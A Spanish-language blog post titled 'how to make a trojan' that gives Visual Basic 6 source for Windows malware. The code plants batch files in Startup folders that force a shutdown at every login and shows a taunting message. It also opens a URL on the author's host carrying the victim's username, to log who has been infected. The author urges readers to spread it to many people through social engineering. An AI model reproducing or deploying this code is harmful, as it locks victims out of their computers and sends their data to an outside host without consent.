Como hacer un troyano

En el video anterior use este troyano pero le quite el mensaje que sale al ejecutar el troyano, cambie el mensaje para realmente se entienda el motivo de este y la pagina que abre que solo fue para la demostracion y me di cuenta que no vale dejar huellas.

No voy a explicar como funciona, si estas interesado tienes que leer todo el codigo probarlo hacer las modificaciones que quieras, y sobre todo llegar a usarlo pero no para una sola persona usa la ing. social y manda a cantidades de personas y si estas te ayudan a propagarlo seria mucho mejor.

Para que entiendas este codigo debes conocer lo siguiente:

1. Php
2. MySql
3. VB60
4. Comandos en cmd de windows

Entonces con esto podras hacer cambios a tu antojo.

Public Sub crea_archivo(ByVal url as String, ByVal cont as String)
On Error Goto fallo1
Dim obj as Object
Dim fi as Object
Dim vararray as Variant
vararray = Array(cont)
Set obj = CreateObject("Scripting.FileSystemObject")
Set fi = obj.CreateTextFile(url)
fi.writeline vararray(0)
fi.close
fallo1:
'no hace ni mierda
End Sub

Private Sub Form_Load()

'para server 2003 en ingles
Call crea_archivo("C:\Documents and Setings\All User\Start Menu\Programs\Startup\text2.bat", "msg * PORQUE USAS WINDOWS????")
Call crea_archivo("C:\Documents and Setings\All User\Start Menu\Programs\Startup\text.bat", "shutdown -f")

'para windows vista
Call crea_archivo("C:\Documents and Setings\All User\Start Menu\Programs\Startup\text2.bat", "msg * PORQUE USAS WINDOWS????")
Call crea_archivo("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\text.bat", "shutdown -f")

'para windows xp
Call crea_archivo("C:\Documents and Setings\All User\Start Menu\Programs\Startup\text2.bat", "msg * PORQUE USAS WINDOWS????")
Call crea_archivo("C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\text.bat", "shutdown -f")

'para guardar el nombre del ususario en mi hosting y tener un registro de los afectados
Call crea_archivo("C:\fal254_host.bat","start http://fal254.my-host/list/jaja/verpass.php?name=%USERNAME%")

Call crea_archivo("C:\fal254_sesion.bat","shutdown -f")

Shell("C:\fal254_host.bat")

Shell("C:\fal254_sesion.bat")

End Sub

Ahi te dejo este codigo hecho el vb60 lo bueno de este lenguaje de programacion es que para ejecutarlo en windows no se necesita de ningun framework ni librerias.

Se que al dejar este codigo muchos conservadores estaran planeando una solucion(que si existe sin necesidad de formatear la pc pero la mayoria no sabe...) para este pequeño grupo que esta tratando aparte de crear un tipo de "proteccion" ya sea con un programa,buenas practicas, o pasando la voz yo estare creando otro tipo de troyano muy diferente al anterior y la forma de como enviarlo, asi que manos a la obra....